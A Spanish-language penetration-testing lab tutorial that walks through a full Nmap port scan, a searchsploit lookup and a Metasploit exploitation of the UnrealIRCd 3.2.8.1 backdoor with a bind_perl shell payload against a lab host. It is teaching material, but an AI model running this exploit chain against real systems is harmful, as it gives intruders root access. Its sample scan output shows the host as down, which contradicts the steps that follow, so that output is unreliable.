Usar Nmap para escanear y explotar vulnerabilidades en un host objetivo

NmapBeginner
Practicar Ahora

Introducción

El escaneo de redes es una disciplina extremadamente práctica. A través del escaneo de redes, los usuarios pueden descubrir los puertos asignados a varios servicios en el host objetivo, los servicios abiertos, el software y las versiones de los servicios, y otra información.

En este laboratorio (lab), aprenderás cómo escanear las vulnerabilidades de seguridad de los servicios de red de un host objetivo.

Utilice Nmap para escanear puertos abiertos en el host objetivo

El flujo de trabajo básico del escaneo de redes es el siguiente:

  1. Descubrir el host objetivo
  2. Escaneo de puertos
  3. Escaneo de información de huellas digitales (fingerprint)
  4. Escaneo de vulnerabilidades
  5. Realizar ataques de penetración

Nmap (Network Mapper) es una poderosa herramienta de escaneo de redes. Admite varias técnicas de escaneo, como UDP, TCP connect(), TCP SYN (escaneo semi-abierto), FTP proxy (ataque de rebote), bandera inversa, ICMP, FIN, ACK scanning, SYN scanning y null scanning.

En este paso, utilizarás Nmap para escanear los puertos abiertos en el host objetivo.

  1. Abre una terminal y entra al contenedor de Kali:
docker run -ti --network host b5b709a49cd5 bash
  1. Utiliza el comando nmap para escanear el host objetivo 192.168.122.102:
nmap -p 1-65535 -T4 -A -v 192.168.122.102 > /tmp/report.txt

Este comando escanea todos los puertos del 1 al 65535 en el host objetivo, con una política de temporización de 4 (más rápido), habilita la huella digital del sistema operativo (OS fingerprinting) y la detección de versiones, y guarda la salida en /tmp/report.txt.

Analizar los resultados del escaneo

Después de escanear el host objetivo, debes analizar los resultados del escaneo para identificar posibles vulnerabilidades.

  1. Ver el informe del escaneo:
cat /tmp/report.txt

Este comando muestra el contenido del archivo /tmp/report.txt, que contiene información sobre los puertos abiertos, los servicios y las versiones en el host objetivo. Aquí tienes un ejemplo de la salida que podrías ver:

Starting Nmap 7.94 ( https://nmap.org ) at 2024-03-23 15:28 UTC
NSE: Loaded 156 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 15:28
Completed NSE at 15:28, 0.00s elapsed
Initiating NSE at 15:28
Completed NSE at 15:28, 0.00s elapsed
Initiating NSE at 15:28
Completed NSE at 15:28, 0.00s elapsed
Initiating ARP Ping Scan at 15:28
Scanning 192.168.122.102 [1 port]
Completed ARP Ping Scan at 15:28, 1.42s elapsed (1 total hosts)
Nmap scan report for 192.168.122.102 [host down]
NSE: Script Post-scanning.
Initiating NSE at 15:28
Completed NSE at 15:28, 0.00s elapsed
Initiating NSE at 15:28
Completed NSE at 15:28, 0.00s elapsed
Initiating NSE at 15:28
Completed NSE at 15:28, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Note: Host seems down. If it is really up, but blocking our ping probes, try -Pn
Nmap done: 1 IP address (0 hosts up) scanned in 1.98 seconds
           Raw packets sent: 2 (56B) | Rcvd: 0 (0B)
  1. Utilizar la herramienta searchsploit para buscar información sobre vulnerabilidades:
searchsploit unreal ircd

Este comando busca en la Base de Datos de Exploits (Exploit Database) vulnerabilidades relacionadas con el servicio "unreal ircd". Aquí tienes un ejemplo de la salida que podrías ver:

---------------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                                  |  Path
---------------------------------------------------------------------------------------------------------------- ---------------------------------
UnrealIRCd 3.2.8.1 - Backdoor Command Execution (Metasploit)                                                    | linux/remote/16922.rb
UnrealIRCd 3.2.8.1 - Local Configuration Stack Overflow                                                         | windows/dos/18011.txt
UnrealIRCd 3.2.8.1 - Remote Downloader/Execute                                                                  | linux/remote/13853.pl
UnrealIRCd 3.x - Remote Denial of Service                                                                       | windows/dos/27407.pl
---------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
  1. Ver los detalles de una vulnerabilidad:
cat /usr/share/exploitdb/exploits/linux/remote/16922.rb

Este comando muestra el contenido del archivo de explotación de la vulnerabilidad ubicado en /usr/share/exploitdb/exploits/linux/remote/16922.rb.

Explotar una vulnerabilidad

Después de analizar los resultados del escaneo e identificar posibles vulnerabilidades, puedes intentar explotar una vulnerabilidad para realizar un ataque de penetración.

  1. Identifica una vulnerabilidad explotable a partir de los resultados del escaneo. Por ejemplo, supongamos que el escaneo encontró un puerto abierto 6667 con un servicio vulnerable.

  2. Inicia el Framework Metasploit:

cd ~
msfconsole
  1. En la consola de Metasploit, selecciona el módulo de explotación adecuado:
use exploit/unix/irc/unreal_ircd_3281_backdoor
  1. Establece la dirección IP del host objetivo:
set RHOST 192.168.122.102
  1. Establece la carga útil (payload):
set PAYLOAD cmd/unix/bind_perl
  1. Lanzar la explotación:
exploit

Si la explotación tiene éxito, tendrás acceso al host objetivo.

  1. Después de intentar explotar una vulnerabilidad, debes verificar si la explotación fue exitosa. En la sesión de Metasploit, verifica el usuario actual y el nombre del host:
whoami
hostname

Si la salida muestra que has iniciado sesión como el usuario root y el nombre del host coincide con el host objetivo, la explotación fue exitosa.

Presiona Ctrl+D para salir de la consola de Metasploit y luego inicia la inspección

Resumen

En este laboratorio (lab), has aprendido el flujo de trabajo básico del escaneo de redes, que incluye descubrir el host objetivo, el escaneo de puertos, el escaneo de información de huellas digitales (fingerprint), el escaneo de vulnerabilidades y la realización de ataques de penetración. Has utilizado la poderosa herramienta Nmap para escanear los puertos abiertos en el host objetivo y has analizado los resultados del escaneo para identificar posibles vulnerabilidades. Además, has aprendido cómo buscar información sobre vulnerabilidades utilizando la herramienta searchsploit y cómo explotar una vulnerabilidad utilizando el Framework Metasploit. Finalmente, has verificado el éxito de la explotación comprobando el usuario actual y el nombre del host en el host objetivo.

A través de este laboratorio práctico, has adquirido experiencia práctica en el escaneo de vulnerabilidades de seguridad de servicios de red y en la realización de ataques de penetración. Este conocimiento es crucial para garantizar la seguridad de los sistemas de red e identificar riesgos potenciales.